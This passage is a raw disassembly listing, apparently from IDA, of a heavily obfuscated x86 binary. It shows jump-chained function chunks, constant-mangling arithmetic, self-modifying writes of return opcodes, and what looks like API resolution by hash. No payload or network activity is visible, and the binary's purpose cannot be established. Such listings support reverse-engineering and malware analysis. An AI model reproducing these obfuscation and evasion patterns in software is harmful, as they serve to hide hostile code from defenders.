XREF: ... call sub_750291 jmp ds:off_41F180 sub_750286 endp ; =============== S U B R O U T I N E ======================================= sub_750291 proc near ; CODE XREF: _0z4jwtox:007485D0j ; sub_750286p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00749138 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00749A2A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A17D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074BE6B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C407 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E05A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00754548 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0075742D SIZE 0000000B BYTES xchg ecx, [esp+8+var_8] mov edx, ecx pop ecx jo loc_749138 mov eax, [esp+4+var_4] jmp loc_74BE6B sub_750291 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_299. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_7502A6: ; CODE XREF: sub_755C38-4B20j jmp loc_745866 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_7502AB: ; CODE XREF: sub_7557E7-4DEBj jmp loc_752D73 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BBE loc_7502B0: ; CODE XREF: sub_748BBE+1Cj jmp loc_748310 ; END OF FUNCTION CHUNK FOR sub_748BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_7502B5: ; CODE XREF: sub_74AAC1-4F13j jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_7502BA proc near ; CODE XREF: sub_755E78:loc_745969p xchg esi, [esp+0] pop esi loc_7502BE: ; CODE XREF: _0z4jwtox:007572BEj pop edx push offset loc_74697F jmp nullsub_80 sub_7502BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7502C9: ; CODE XREF: _0z4jwtox:loc_748637j jnb loc_74EB04 mov [ebp+0], edi rol eax, 3 mov [ebx], ebp sbb edx, eax jmp loc_74EB04 ; --------------------------------------------------------------------------- loc_7502DE: ; DATA XREF: _0z4jwtox:00749B30o mov byte ptr [eax], 0C3h jmp loc_750A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755148 loc_7502E6: ; CODE XREF: sub_755148:loc_757076j mov eax, [esp+0] push edx push ecx push 0F71652DCh pop ecx xor ecx, 877576E2h jmp loc_74585C ; END OF FUNCTION CHUNK FOR sub_755148 ; --------------------------------------------------------------------------- mov eax, 0C308DC6Bh call sub_746E93 mov ds:off_41F134, eax lea eax, sub_7574E3 jmp loc_749466 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_750317: ; CODE XREF: sub_74AAC1:loc_75460Ej xor esi, 0E484E14Fh sub esi, 83BD3455h and esi, 391078F1h add esi, 0A4CB3F8Fh xor eax, esi pop esi mov edx, [esp-4+arg_0] push eax jmp loc_74BA8D ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_75033B: ; CODE XREF: _0z4jwtox:007489DFj push ecx push edx pop ecx xchg ecx, [esp] push eax push 50121C40h jmp loc_74A11B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_75034D: ; CODE XREF: _0z4jwtox:00755933j jmp loc_7456EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_750352: ; CODE XREF: sub_747C22+5ECEj jmp loc_74FCE9 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_750357: ; CODE XREF: sub_74A4B0-538Dj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_282. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_75035D: ; CODE XREF: _0z4jwtox:00756BC4j jmp locret_756044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746BE0 loc_750362: ; CODE XREF: sub_746BE0+Ej jmp nullsub_282 ; END OF FUNCTION CHUNK FOR sub_746BE0 ; --------------------------------------------------------------------------- mov edi, [eax] jmp loc_757737 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_75036E: ; CODE XREF: sub_747736+AEBBj jnz loc_75610D loc_750374: ; CODE XREF: sub_747736+AEB2j add ebx, 7FD1D0C6h mov [ebx], eax pop ebx lea eax, loc_74A78D mov byte ptr [eax], 0C3h jmp loc_74A78D ; END OF FUNCTION CHUNK FOR sub_747736 ; =============== S U B R O U T I N E ======================================= sub_75038B proc near ; CODE XREF: sub_40CC09+37E5p ; _0z4jwtox:007574D8j ; DATA XREF: ... push offset loc_7574D3 jmp loc_7491DB sub_75038B endp ; =============== S U B R O U T I N E ======================================= sub_750395 proc near ; DATA XREF: sub_745F37+Ao mov [esi], eax pop esi lea eax, nullsub_24 mov byte ptr [eax], 0C3h jmp nullsub_24 sub_750395 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ecx, 40466404h jmp loc_745D9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_7503B1: ; CODE XREF: sub_74E3F7:loc_7573FCj jnz loc_74D112 jmp loc_7535EB ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_7503BC: ; CODE XREF: sub_74CBCF:loc_75500Ej rol eax, 1Bh add eax, 0D61C10C2h xchg eax, [esp+0] jmp sub_74FACE ; END OF FUNCTION CHUNK FOR sub_74CBCF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7503CE: ; CODE XREF: _0z4jwtox:00755377j jmp locret_755D89 ; --------------------------------------------------------------------------- loc_7503D3: ; CODE XREF: _0z4jwtox:0074F074j jmp loc_75285F ; =============== S U B R O U T I N E ======================================= sub_7503D8 proc near ; CODE XREF: _0z4jwtox:00751468j ; sub_74BA92+9EC3p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007507E6 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 0D53662D3h pop edi xor edi, 8E460CE8h add edi, 0A50495BBh xchg edi, [esp-4+arg_0] jmp loc_7507E6 sub_7503D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] jmp loc_747DC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_7503FE: ; CODE XREF: sub_74F73B:loc_751073j add edi, 2DFBC668h loc_750404: ; CODE XREF: sub_7474B9:loc_74F6F3j jnb loc_753D30 loc_75040A: ; CODE XREF: _0z4jwtox:00746BA4j jmp loc_74B764 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- mov eax, 33CF4D2Ch sub ecx, ebx shr edi, 17h jmp loc_753D30 ; --------------------------------------------------------------------------- mov eax, 0C684C00Ch call sub_746E93 mov ds:dword_41F054, eax lea eax, nullsub_10 mov byte ptr [eax], 0C3h jmp nullsub_10 ; =============== S U B R O U T I N E ======================================= sub_75043C proc near ; CODE XREF: _0z4jwtox:00747DB0j ; sub_751307+3p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007450BB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00746975 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074750A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00748342 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074A554 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074D0E9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007514EF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 007521C6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00753004 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007537CD SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00755230 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00757563 SIZE 00000015 BYTES xchg esi, [esp+0] pop esi xchg ebp, [esp-4+arg_0] call sub_7490F6 mov eax, 59DAD382h call sub_746E93 push esi push 496076D2h jmp loc_753004 sub_75043C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748CFC loc_75045D: ; CODE XREF: sub_748CFC+10j mov byte ptr [eax], 0C3h jmp loc_74B6FF ; END OF FUNCTION CHUNK FOR sub_748CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F15D loc_750465: ; CODE XREF: sub_74F15D:loc_74F162j mov eax, [esp-10h+arg_C] push edx push edi jmp loc_7466AF ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- loc_75046F: ; CODE XREF: _0z4jwtox:007533D3j mov ebp, [eax] cdq add esi, 2841352Bh xor ebx, esi loc_75047A: ; CODE XREF: _0z4jwtox:loc_7533C6j or edx, 338582A9h sub edx, 59CC37E3h push offset sub_752DF2 jmp locret_754547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C8E loc_750490: ; CODE XREF: sub_752C8E-3B3Cj jz loc_7508D6 loc_750496: ; CODE XREF: _0z4jwtox:00751573j jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_752C8E ; --------------------------------------------------------------------------- pushf shr esi, 1 js loc_756E53 push 0B5AF1357h jmp loc_7508D6 ; --------------------------------------------------------------------------- cmp ebx, 68BE833Ah jmp loc_7526F4 ; --------------------------------------------------------------------------- loc_7504B9: ; CODE XREF: _0z4jwtox:00747BBFj ja loc_753CDE ; START OF FUNCTION CHUNK FOR sub_75712E loc_7504BF: ; CODE XREF: sub_75712E+Dj rol ebx, 11h sub ebx, 2BD40FE8h add ebx, 760FF941h jmp loc_74539A ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- mov eax, 0CB804A30h call sub_746E93 mov ds:off_41F0B8, eax lea eax, loc_7556B6 mov byte ptr [eax], 0C3h jmp loc_7556B6 ; =============== S U B R O U T I N E ======================================= sub_7504F1 proc near ; CODE XREF: sub_40857E+1Dp ; _0z4jwtox:0074D617j ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745415 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007454E6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00747C00 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751176 SIZE 00000005 BYTES push edx push 46FB7F91h jmp loc_7454E6 sub_7504F1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_7504FC: ; CODE XREF: sub_748B44+9j jz loc_753231 sub al, 99h push 0E46A8E44h pop edx and edx, 0E95F4814h jmp loc_752183 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- loc_750515: ; CODE XREF: _0z4jwtox:00747491j test eax, ebp jmp loc_74F1CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_75051C proc near ; CODE XREF: _0z4jwtox:007482CBp ; sub_74A47B:loc_752029p var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074813C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749906 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0075124D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0075232D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752364 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075344B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00756651 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_74813C sub_75051C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_750530: ; CODE XREF: sub_74C670+9j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_755BF9 jmp loc_7533D9 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_750544: ; CODE XREF: _0z4jwtox:007523E8j jnz loc_74CDBD ror ecx, 1 and edi, eax xor eax, 28174118h pushf jmp loc_74CDB7 ; --------------------------------------------------------------------------- cdq jmp sub_74EA54 ; =============== S U B R O U T I N E ======================================= sub_750560 proc near ; CODE XREF: _0z4jwtox:00747703j ; sub_74667B+5075p ; FUNCTION CHUNK AT 00754C10 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx lea eax, nullsub_11 mov byte ptr [eax], 0C3h jmp loc_754C10 sub_750560 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_750572: ; CODE XREF: _0z4jwtox:0074CD51j mov eax, [esp] push ebp jmp loc_7473C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_75057B: ; CODE XREF: sub_752FC5-D326j mov [esi], eax pop esi lea eax, sub_752FC5 mov byte ptr [eax], 0C3h jmp loc_749C6A ; END OF FUNCTION CHUNK FOR sub_752FC5 ; --------------------------------------------------------------------------- push offset sub_748CDD jmp locret_74D00C ; --------------------------------------------------------------------------- xor edi, 7620B0BEh jmp sub_754C3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_7505A1: ; CODE XREF: sub_74C670+5A93j add eax, 0E89311A8h loc_7505A7: ; CODE XREF: _0z4jwtox:loc_75325Aj add eax, ebp add eax, 0A585A4Bh mov eax, [eax] call sub_74742A loc_7505B6: ; CODE XREF: sub_74FE55+40F6j jmp loc_74C815 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747820 loc_7505BB: ; CODE XREF: sub_747820+8j jmp loc_7458A6 ; END OF FUNCTION CHUNK FOR sub_747820 ; --------------------------------------------------------------------------- sub edi, 57CFDD82h jmp sub_74A07B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_7505CB: ; CODE XREF: sub_74F69D:loc_753A62j push esi push 9604D4h pop esi and esi, 35FB0633h rol esi, 1Dh and esi, 26171FE2h add esi, offset byte_6280F1 xchg esi, [esp+4+var_4] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- loc_7505EF: ; CODE XREF: _0z4jwtox:0074AFC8j jns loc_74B094 ; START OF FUNCTION CHUNK FOR sub_752957 loc_7505F5: ; CODE XREF: sub_752957:loc_754A00j add ebx, 363C4C24h mov [ebx], eax pop ebx lea eax, nullsub_3 jmp loc_74E20A ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_750609: ; CODE XREF: sub_74A7D8+5780j ror eax, 1Dh push offset sub_74533B jmp loc_746D03 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- loc_750616: ; DATA XREF: sub_7508F9-3FE3o mov eax, [ebp-8] shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh jmp loc_74B50B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_75062A: ; CODE XREF: sub_74C0A0:loc_749D57j pop esi mov eax, [eax] push offset loc_7548C4 jmp loc_753085 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_281. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_750638 proc near ; CODE XREF: _0z4jwtox:00749560j ; _0z4jwtox:loc_74FA65j ... var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h ; FUNCTION CHUNK AT 00746083 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00746414 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00746A39 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A0F0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E329 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F320 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00751069 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007538F7 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 007543FE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00755314 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00755810 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00755BA9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755D8A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00755F3D SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFEF8h push edi push 1443C03Dh pop edi add edi, 0CBF207E1h jmp loc_74F320 sub_750638 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_750656: ; CODE XREF: sub_7523A2-9B6Bj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BBE loc_75065B: ; CODE XREF: sub_748BBE:loc_748316j call sub_74B1F1 mov eax, 0F074E076h push edx push 1AA38B50h jmp loc_7561CE ; END OF FUNCTION CHUNK FOR sub_748BBE ; --------------------------------------------------------------------------- jmp ds:off_41F0E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B01A loc_750676: ; CODE XREF: sub_74B01A-4B2Aj ; sub_748CFC:loc_74B6FFj ... xchg ebx, [esp+4+var_4] mov edx, ebx call sub_74F15D loc_750680: ; CODE XREF: sub_74D23E-19Aj jmp loc_74D79C ; END OF FUNCTION CHUNK FOR sub_74B01A ; --------------------------------------------------------------------------- loc_750685: ; CODE XREF: _0z4jwtox:007481A3j jmp loc_7485E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A47B loc_75068A: ; CODE XREF: _0z4jwtox:0074C1C9j ; sub_74A47B+D08Dj rol ebx, 18h add ebx, 0FB46EE5Ch popf xchg ebx, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74A47B ; --------------------------------------------------------------------------- mov ds:off_41F184, eax lea eax, sub_74CBB7 mov byte ptr [eax], 0C3h jmp sub_74CBB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_7506B0: ; CODE XREF: sub_74CBB7j pop edx jmp loc_750C49 ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- loc_7506B6: ; CODE XREF: _0z4jwtox:0074AAE4j adc ecx, ebx jmp loc_7556F9 ; --------------------------------------------------------------------------- loc_7506BD: ; CODE XREF: _0z4jwtox:0074C240j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_7556F9 ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7506CC: ; CODE XREF: sub_752D11:loc_7542F1j jmp loc_7501C4 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- or ebx, edx or ebp, ebx jmp sub_74AA82 ; --------------------------------------------------------------------------- shl ebx, 1Fh jmp sub_754779 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_7506E2: ; CODE XREF: sub_7473D1+DCD6j xor edx, 7AAC7B50h add edx, 18287A41h popf xchg edx, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B22 loc_7506F7: ; CODE XREF: sub_755B22:loc_753B9Dj lea eax, nullsub_15 mov byte ptr [eax], 0C3h jmp loc_745013 ; END OF FUNCTION CHUNK FOR sub_755B22 ; =============== S U B R O U T I N E ======================================= sub_750705 proc near ; CODE XREF: sub_4084F4+2Dp ; sub_750705+5j ; DATA XREF: ... call sub_750715 jmp ds:off_41F0B4 sub_750705 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_750710: ; CODE XREF: sub_74673E+FEDCj jmp loc_7553D2 ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_750715 proc near ; CODE XREF: sub_74E0C2+7j ; sub_750715-832j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745C43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AA72 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E0CE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074FEC4 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 007525C7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0075502C SIZE 0000001F BYTES js loc_74E0CE pop edx mov eax, [esp-4+arg_0] push ebp jmp loc_74AA72 sub_750715 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_750725: ; CODE XREF: _0z4jwtox:00748089j jnz loc_74AE56 jmp loc_753AB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_750730: ; CODE XREF: sub_74673E:loc_75480Bj jnz loc_753452 jmp loc_747579 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_75073B: ; CODE XREF: sub_749608+B036j call sub_74BA2F loc_750740: ; CODE XREF: sub_745DB1:loc_74A9ABj ; _0z4jwtox:0074A9C7j xor ebx, 0E2AFCACEh and ebx, 3718BAC7h sub ebx, 0CE0B74C4h add ebx, 0AB44DB88h mov [ebx], eax pop ebx lea eax, nullsub_184 jmp loc_755595 ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- loc_750766: ; CODE XREF: _0z4jwtox:loc_74A345j add edx, ebp add edx, 79D34163h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_7539C0 jmp loc_755759 ; --------------------------------------------------------------------------- jmp ds:off_41F020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_750785: ; CODE XREF: sub_753FCE-18F6j jmp loc_74B103 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_75078A: ; CODE XREF: sub_74724C+7F3Fj ; sub_74A1BE+5E15j ... jz loc_756380 xchg ecx, [esp+4+var_4] mov edx, ecx pop ecx jmp loc_74F395 ; END OF FUNCTION CHUNK FOR sub_74724C ; =============== S U B R O U T I N E ======================================= sub_75079B proc near ; DATA XREF: sub_7569C5+6o ; FUNCTION CHUNK AT 007471A6 SIZE 00000020 BYTES xchg eax, [esp+0] mov esi, eax pop eax sub esi, 7A9DEA36h loc_7507A7: ; CODE XREF: sub_74AE67:loc_75549Dj jmp loc_7471A6 sub_75079B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7507AC: ; CODE XREF: _0z4jwtox:loc_748418j xor esi, 0D8E1DDDh and esi, 5E45C277h add esi, 0EE72E49Ah xchg esi, [esp] jmp loc_75595F ; =============== S U B R O U T I N E ======================================= sub_7507C6 proc near ; CODE XREF: _0z4jwtox:007470A5p ; _0z4jwtox:0074EAACj arg_4 = dword ptr 8 xchg esi, [esp+0] pop esi pop edx mov eax, [esp-8+arg_4] push edx push edi push 0F3B3630Ah pop edi sub_7507C6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_749306 loc_7507D6: ; CODE XREF: sub_749306+C26Fj jmp loc_747790 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- mov ds:off_41F090, eax call sub_752BD1 ; START OF FUNCTION CHUNK FOR sub_7503D8 loc_7507E6: ; CODE XREF: sub_7503D8+19j jmp sub_752E0F ; END OF FUNCTION CHUNK FOR sub_7503D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75609F loc_7507EB: ; CODE XREF: sub_75609F-FBE2j jmp loc_74E57A ; END OF FUNCTION CHUNK FOR sub_75609F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_7507F0: ; CODE XREF: sub_7514AC+510Dj add ecx, 1DBB1168h xchg ecx, [esp+0] jmp loc_7495B9 ; END OF FUNCTION CHUNK FOR sub_7514AC ; =============== S U B R O U T I N E ======================================= sub_7507FE proc near ; DATA XREF: sub_748E45-DCEo add ebx, 0BFDDE038h popf add eax, ebx push offset sub_748DCB loc_75080C: ; CODE XREF: _0z4jwtox:loc_754516j jmp nullsub_221 sub_7507FE endp ; --------------------------------------------------------------------------- loc_750811: ; DATA XREF: sub_754729:loc_745A59o jns loc_74AAA0 add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_754B5C jmp loc_75726A ; --------------------------------------------------------------------------- loc_75082B: ; DATA XREF: _0z4jwtox:loc_74CDD2o add edi, 0B7684EF4h popf call sub_7474E3 ; START OF FUNCTION CHUNK FOR sub_747AEC loc_750837: ; CODE XREF: sub_747AEC+6DABj jmp loc_745B82 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_75083C: ; CODE XREF: sub_74946E:loc_746DF9j ; sub_74946E+40D5j push 0AE2EA7C5h pop eax and eax, 0F975BD05h jnz loc_74B837 sbb eax, 61AE9199h loc_750854: ; CODE XREF: _0z4jwtox:loc_750275j popf xor edi, 0B1B04D22h jmp loc_74B834 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_750860: ; CODE XREF: sub_74FE55-4F22j push eax loc_750861: ; CODE XREF: sub_74FE55:loc_7482A4j ; sub_74FE55-5A8Aj ... jmp nullsub_2 ; --------------------------------------------------------------------------- loc_750866: ; CODE XREF: sub_74FE55+25D8j ; sub_74FE55:loc_75685Bj call sub_74720A loc_75086B: ; CODE XREF: sub_74BA04-305Fj jmp loc_755B07 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- and ecx, 0E539B719h jmp loc_750C2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_75087B: ; CODE XREF: sub_749010:loc_747211j jz loc_74F776 jmp loc_753F5C ; END OF FUNCTION CHUNK FOR sub_749010 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_750887 proc near ; CODE XREF: sub_74CAC3+2327p ; _0z4jwtox:007577CDj ; FUNCTION CHUNK AT 00756A05 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx lea eax, nullsub_272 mov byte ptr [eax], 0C3h jmp loc_756A05 sub_750887 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ecx, [esp] loc_75089C: ; CODE XREF: _0z4jwtox:loc_75223Fj push ecx pop edx pop ecx jmp loc_74E56A ; =============== S U B R O U T I N E ======================================= sub_7508A4 proc near ; CODE XREF: _0z4jwtox:00748E2Fj ; _0z4jwtox:0075673Cp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00752A65 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00753EE8 SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx push ebx push ebp jmp loc_753EE8 sub_7508A4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_7508AF: ; CODE XREF: sub_74FA7E:loc_750229j sub ebx, edi push 4DE709D3h xor edi, esi jmp loc_74F2F7 ; END OF FUNCTION CHUNK FOR sub_74FA7E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_7508BD proc near ; CODE XREF: sub_757151-3E3j retn sub_7508BD endp ; --------------------------------------------------------------------------- loc_7508BE: ; CODE XREF: _0z4jwtox:007577D8j jbe loc_7574AD ; =============== S U B R O U T I N E ======================================= sub_7508C4 proc near ; CODE XREF: sub_746D0D+7430p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add esi, 344FD5C6h xchg esi, [esp-4+arg_0] jmp sub_746E93 sub_7508C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C8E loc_7508D6: ; CODE XREF: sub_752C8E:loc_750490j ; _0z4jwtox:007504A9j add edx, 7B1EFDB9h push 747FD7h jmp nullsub_288 ; END OF FUNCTION CHUNK FOR sub_752C8E ; =============== S U B R O U T I N E ======================================= sub_7508E6 proc near ; CODE XREF: _0z4jwtox:0074D8FBj ; sub_74624E:loc_751433p 